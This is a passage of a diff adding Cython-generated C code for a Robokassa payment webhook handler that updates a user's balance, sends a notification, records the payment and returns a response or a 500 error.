__Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_with_amount); + __pyx_t_9 += 13; + __Pyx_GIVEREF(__pyx_kp_u_with_amount); + PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_kp_u_with_amount); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_8, 3, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_9 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_8, 4, __pyx_kp_u__6); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_8, 5, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_6}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 187, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":189 + * logger.info(f"Processing payment for user {tg_id} with amount {amount}.") + * + * await update_balance(int(tg_id), float(amount)) # <<<<<<<<<<<<<< + * await send_payment_success_notification(tg_id, float(amount)) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_tg_id); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_8 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_14 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_14, __pyx_t_6, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 189, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L16_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 189, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 189, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":190 + * + * await update_balance(int(tg_id), float(amount)) + * await send_payment_success_notification(tg_id, float(amount)) # <<<<<<<<<<<<<< + * + * await add_payment(int(tg_id), float(amount), "robokassa") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 190, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_8 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 190, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_tg_id, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 190, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 190, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":192 + * await send_payment_success_notification(tg_id, float(amount)) + * + * await add_payment(int(tg_id), float(amount), "robokassa") # <<<<<<<<<<<<<< + * + * logger.info(f"Payment successful. Balance updated for user {tg_id}.") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_8 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_tg_id); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_6 = __Pyx_PyNumber_Float(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_14 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_14, __pyx_t_8, __pyx_t_6, __pyx_n_u_robokassa}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 192, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L18_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 192, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 192, __pyx_L4_error) + } + } + + /* "handlers/payments/robokassa_pay.py":194 + * await add_payment(int(tg_id), float(amount), "robokassa") + * + * logger.info(f"Payment successful. Balance updated for user {tg_id}.") # <<<<<<<<<<<<<< + * + * return web.Response(text=f"OK{inv_id}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyTuple_New(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_successful_Balance_updat); + __pyx_t_9 += 45; + __Pyx_GIVEREF(__pyx_kp_u_Payment_successful_Balance_updat); + PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u_Payment_successful_Balance_updat); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_8); + __pyx_t_8 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_9 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u__6); + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_5, 3, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_8}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 194, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":196 + * logger.info(f"Payment successful. Balance updated for user {tg_id}.") + * + * return web.Response(text=f"OK{inv_id}") # <<<<<<<<<<<<<< + * + * except Exception as e: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_inv_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_n_u_OK, __pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_5) < 0) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + goto __pyx_L8_try_return; + + /* "handlers/payments/robokassa_pay.py":163 + * async def robokassa_webhook(request): + * """ webhook- Robokassa shp_id.""" + * try: # <<<<<<<<<<<<<< + * params = await request.post() + * + */ + } + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":198 + * return web.Response(text=f"OK{inv_id}") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f"Error processing webhook: {e}") + * return web.Response(status=500) + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.robokassa_pay.robokassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_4, &__pyx_t_6) < 0) __PYX_ERR(0, 198, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_e = __pyx_t_4; + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":199 + * + * except Exception as e: + * logger.error(f"Error processing webhook: {e}") # <<<<<<<<<<<<<< + * return web.Response(status=500) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_logger); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_error); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_17 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Error_processing_webhook, __pyx_t_14); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_17}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 199, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":200 + * except Exception as e: + * logger.error(f"Error processing webhook: {e}") + * return web.Response(status=500) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 200, __pyx_L24_error) + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_16, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 200, __pyx_L24_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_17); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L23_return; + } + + /* "handlers/payments/robokassa_pay.py":198 + * return web.Response(text=f"OK{inv_id}") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f"Error processing webhook: {e}") + * return web.Response(status=500) + */ + /*finally:*/ { + __pyx_L24_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_15 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_19 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); + } + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __pyx_lineno = __pyx_t_15; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_19; + goto __pyx_L6_except_error; + } + __pyx_L23_return: { + __Pyx_PyThreadState_assign + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23) < 0)) __Pyx_ErrFetch(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_26 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_26; + __pyx_t_26 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_21, __pyx_t_20); + } + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ErrRestore(__pyx_t_25, __pyx_t_24, __pyx_t_23); + __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + goto __pyx_L7_except_return; + } + } + } + goto __pyx_L6_except_error; + + /* "handlers/payments/robokassa_pay.py":163 + * async def robokassa_webhook(request): + * """ webhook- Robokassa shp_id.""" + * try: # <<<<<<<<<<<<<< + * params = await request.post() + * + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + 